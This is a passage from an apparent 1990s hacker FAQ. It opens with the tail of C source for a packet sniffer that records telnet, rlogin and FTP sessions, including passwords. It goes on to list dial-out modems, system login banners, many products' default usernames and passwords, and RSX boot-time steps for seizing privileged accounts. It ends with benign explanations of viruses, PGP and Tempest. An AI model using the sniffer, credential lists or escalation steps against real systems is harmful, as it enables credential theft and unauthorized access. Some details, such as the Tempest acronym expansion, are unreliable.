   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
```

```
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
```

```
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
```

20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
by Cavalier and DisordeR

Introduction

There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead.

Working Outdials

as of 12/29/94

NPA	IP Address	Instructions
215	isn.upenn.edu	modem
217	dialout.cecer.army.mil	atdt x,xxxXXXXX
218	modem.d.umn.edu	atdt9,xxxXXXX
303	yuma.acns.colostate.edu 3020	
412	myriad.pc.cc.cmu.edu 2600	Press D at the prompt
412	gate.cis.pitt.edu	tn3270, connect dialout.pitt.edu, atdtxxxXXXX
413	dialout2400.smith.edu	Ctrl } gets ENTER NUMBER: xxxxxxx
502	outdial.louisville.edu	
502	uknet.uky.edu	connect kecnet @ dial: "outdial2400 or out"
602	acssdial.inre.asu.edu	atdt8,,,,,[x][yyy]xxxyyyy
614	ns2400.acs.ohio-state.edu	
614	ns9600.acs.ohio-state.edu	
713	128.249.27.153	atdt x,xxxXXXX
714	modem.nts.uci.edu	atdt[area]0[phone]
804	ublan.virginia.edu	connect hayes, 9,,xxx-xxxx
804	ublan2.acc.virginia.edu	connect telnet connect hayes

Need Password

206	rexair.cac.washington.edu	This is an unbroken password
303	yuma.ACNS.ColoState.EDU	login: modem
404	128.140.1.239	.modem8|CR
415	annex132-1.EECS.Berkeley.EDU	"dial1" or "dial2" or "dialer1"
514	cartier.CC.UMontreal.CA	externe,9+number
703	wal-3000.cns.vt.edu	dial2400 -aa

Dead/No Connect

201	idsnet	
202	modem.aidt.edu	
204	dial.cc.umanitoba.ca	
204	umnet.cc.manitoba.ca	"dial12" or "dial24"
206	dialout24.cac.washington.edu	
207	modem-o.caps.maine.edu	
212	B719-7e.NYU.EDU	dial3/dial12/dial24
212	B719-7f.NYU.EDU	dial3/dial12/dial24
212	DIALOUT-1.NYU.EDU	dial3/dial12/dial24
212	FREE-138-229.NYU.EDU	dial3/dial12/dial24
212	UP19-4b.NYU.EDU	dial3/dial12/dial24
215	wiseowl.ocis.temple.edu	"atz" "atdt 9xxxyyyy"
218	aa28.d.umn.edu	"cli" "rlogin modem" at "login:" type "modem"
218	modem.d.umn.edu	Hayes 9,XXX-XXXX
301	dial9600.umd.edu	
305	alcat.library.nova.edu	
305	office.cis.ufl.edu	
307	modem.uwyo.edu	Hayes 0,XXX-XXXX
313	35.1.1.6	dial2400-aa or dial1200-aa or dialout
402	dialin.creighton.edu	
402	modem.criegthon.edu	
404	broadband.cc.emory.edu	".modem8" or ".dialout"
408	dialout.scu.edu	
408	dialout1200.scu.edu	
408	dialout2400.scu.edu	
408	dialout9600.scu.edu	
413	dialout.smith.edu	
414	modems.uwp.edu	
416	annex132.berkely.edu	atdt 9,,,,, xxx-xxxx
416	pacx.utcs.utoronto.ca	modem
503	dialout.uvm.edu	
513	dialout24.afit.af.mil	
513	r596adi1.uc.edu	
514	pacx.CC.UMontreal.CA	externe#9 9xxx-xxxx
517	engdial.cl.msu.edu	
602	dial9600.telcom.arizona.edu	
603	dialout1200.unh.edu	
604	dial24-nc00.net.ubc.ca	
604	dial24-nc01.net.ubc.ca	
604	dial96-np65.net.ubc.ca	
604	gmodem.capcollege.bc.ca	
604	hmodem.capcollege.bc.ca	
609	128.119.131.11X (X= 1 - 4)	Hayes
609	129.119.131.11x (x = 1 to 4)	
609	wright-modem-1.rutgers.edu	
609	wright-modem-2.rutgers.edu	

612	modem_out12e7.atk.com		
612	modem_out24n8.atk.com		
614	ns2400.ircc.ohio-state.edu	"dial"	
615	dca.utk.edu	dial2400 D 99k #	
615	MATHSUN23.MATH.UTK.EDU	dial 2400 d 99Kxxxxxxx	
616	modem.calvin.edu		
617	128.52.30.3	2400baud	
617	dialout.lcs.mit.edu		
617	dialout1.princeton.edu		
617	isdn3.Princeton.EDU		
617	jadwingymkip0.Princeton.EDU		
617	lord-stanley.Princeton.EDU		
617	mpanus.Princeton.EDU		
617	mrmodem.wellesley.edu		
617	old-dialout.Princeton.EDU		
617	stagger.Princeton.EDU		
617	sunshine-02.lcs.mit.edu		
617	waddle.Princeton.EDU		
619	128.54.30.1	atdt [area][phone]	
619	dialin.ucsd.edu	"dialout"	
703	modem_pool.runet.edu		
703	wal-3000.cns.vt.edu		
713	128.249.27.154	"c modem96" "atdt 9xxx-xxxx" or "Hayes"	
713	modem12.bcm.tmc.edu		
713	modem24.bcm.tmc.edu		
713	modem24.bcm.tmc.edu		
714	mdmsrv7.sdsu.edu	atdt 8xxx-xxxx	
714	modem24.nts.uci.edu		
714	pub-gopher.cwis.uci.edu		
801	dswitch.byu.edu	"C Modem"	
808	irmodem.ifa.hawaii.edu		
902	star.ccs.tuns.ca	"dialout"	
916	129.137.33.72		
916	cc-dnet.ucdavis.edu	connect hayes/dialout	
916	916	engr-dnet1.engr.ucdavis.edu	UCDNET <ret> C KEYCLUB <ret>	
???	128.119.131.11X	(1 - 4)	
???	128.200.142.5		
???	128.54.30.1	nue, X to discontinue, ? for Help	
???	128.6.1.41		
???	128.6.1.42		
???	129.137.33.72		
???	129.180.1.57		
???	140.112.3.2	ntu	<none>
???	annexdial.rz.uni-duesseldorf.de		
???	dial96.ncl.ac.uk		
???	dialout.plk.af.mil		
???	ee21.ee.ncu.edu.tw	cs8005	
???	im.mgt.ncu.edu.tw	guest	<none>
???	modem.cis.uflu.edu		
???	modem.ireq.hydro.qc.ca		
???	modems.csuohio.edu		
???	sparc20.ncu.edu.tw	u349633	
???	sun2cc.nccu.edu.tw	?	
???	ts-modem.une.oz.au		
???	twncu865.ncu.edu.tw	guest	<none>
???	vtnet1.cns.ut.edu	"CALL" or "call"	

Conclusion

If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun...

```
[Editors note: Updates have been made to this document after
               the original publication]
```

22. What is this system?

```
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]


AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN


CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt.  Next prompt is:

USER NAME:


CISCO Router
~~~~~~~~~~~~
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866

TN043R1>


DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance
```

```
Enter username> TNO

Local>


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:


GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=======================================

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>


Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            MMM       MM□MERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991


Novell ONLAN
```

```
~~~~~~~~~~~~
<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]


PC-Anywhere
~~~~~~~~~~~
<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]


PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM CBX II
~~~~~~~~~~~
ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE:  7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY.  ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

 INVALID USERNAME-PASSWORD PAIR


ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?


System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:
```

```
Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.


VM/370
~~~~~~
VM/370
!


VM/ESA
~~~~~~
VM/ESA ONLINE

                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>


Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.


Checking authorization, Please wait...      -
Annex username: TNO                          - Optional security check
Annex password:                             -  Not always present

Permission granted
annex:
```

23. What are the default accounts for XXX?

```
AIX
~~~
guest           guest


AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also
```

ibm	password
ibm	2222
ibm	service
qsecofr	1111111
qsecofr	2222222
qserv	qserv
qsvr	qsvr
secofr	secofr
qsrv	ibmce1

DECserver

ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)

(Type 'later' to exit to the login prompt)

setup	<no password>
library	<no password>
circ	<Social Security Number>

Hewlett Packard MPE-XL

HELLO	MANAGER.SYS	
HELLO	MGR.SYS	
HELLO	FIELD.SUPPORT	HPUNSUP or SUPPORT or HP
HELLO	OP.OPERATOR	
MGR	CAROLIAN	
MGR	CCC	
MGR	CNAS	
MGR	CONV	
MGR	COGNOS	
OPERATOR	COGNOS	
MANAGER	COGNOS	
OPERATOR	DISC	
MGR	HPDESK	
MGR	HPWORD	
FIELD	HPWORD	
MGR	HPOFFICE	
SPOOLMAN	HPOFFICE	
ADVMAIL	HPOFFICE	
MAIL	HPOFFICE	
WP	HPOFFICE	
MANAGER	HPOFFICE	
MGR	HPONLY	
FIELD	HPP187	
MGR	HPP187	
MGR	HPP189	
MGR	HPP196	
MGR	INTX3	
MGR	ITF3000	
MANAGER	ITF3000	
MAIL	MAIL	
MGR	NETBASE	
MGR	REGO	
MGR	RJE	
MGR	ROBELLE	
MANAGER	SECURITY	
MGR	SECURITY	
FIELD	SERVICE	

MANAGER	SYS	
MGR	SYS	
PCUSER	SYS	
RSBCMON	SYS	
OPERATOR	SYS	
OPERATOR	SYSTEM	
FIELD	SUPPORT	
OPERATOR	SUPPORT	
MANAGER	TCH	
MAIL	TELESUP	
MANAGER	TELESUP	
MGR	TELESUP	
SYS	TELESUP	
MGE	VESOFT	
MGE	VESOFT	
MGR	WORD	
MGR	XLSERVER	

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS

Sysop	Sysop

Mitel PBX

SYSTEM

NeXTSTEP

root	NeXT	
signa	signa	
me	<null>	(Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

fax	<no password>

PICK O/S

DSA	# Desquetop System Administrator
DS	
DESQUETOP	
PHANTOM	

Prolog

PBX	PBX
NETWORK	NETWORK
NETOP	<null>

Radio Shack Screen Savers

RS<STORE_ID_NUMBER>

Rolm

CBX Defaults

op	op
op	operator
su	super
admin	pwp
eng	engineer

PhoneMail Defaults

sysadmin	sysadmin
tech	tech
poll	tech

RSX

SYSTEM/SYSTEM	(Username SYSTEM, Password SYSTEM)
1,1/system	(Directory [1,1] Password SYSTEM)
BATCH/BATCH	
SYSTEM/MANAGER	
USER/USER	

Default accounts for Micro/RSX:

```
                MICRO/RSX
```

Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using:

```
                RUN ACNT
            or  RUN $ACNT
```

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

type " run $acnt" and change the password of any account with a group number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured.

SGI Irix

4DGifts	<no password>
guest	<no password>
demos	<no password>
lp	<no password>
nuucp	<no password>

tour	<no password>
tutor	<no password>

System 75
~~~~~~~~~

bcim	bcimpw
bciim	bciimpw
bcms	bcmspw, bcms
bcnas	bcnspw
blue	bluepw
browse	looker, browsepw
craft	crftpw, craftpw, crack
cust	custpw
enquiry	enquirypw
field	support
inads	indspw, inadspw, inads
init	initpw
kraft	kraftpw
locate	locatepw
maint	maintpw, rwmaint
nms	nmspw
rcust	rcustpw
support	supportpw
tech	field

Taco Bell
~~~~~~~~~

rgm	rollout
tacobell	<null>

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~

Default password: 166816

VMS
~~~

field	service
systest	utep

XON / XON Junior
~~~~~~~~~~~~~~~~

Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is
~~~~~~~~~~~~~~~~~~~~

similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans.

Virus:

A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself.

26. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof.

You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies.

The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool.

27. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -rid- of a virus.

There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                  by Deborah Russell
                                  and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

```
This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann
```

PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

What is important for an observer is the emission of digital pulses (1s and 0s) as these are used in computers. The channel for this radiation is in two arrangements, radiated emissions and conducted emissions. Radiated emissions are assembled when components in electrical devices form to act as antennas. Conducted emissions are formed when radiation is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the radiated emissions from her video monitor. These emissions normally exist at around 55-245 Mhz and can be picked up as far as one kilometer away.

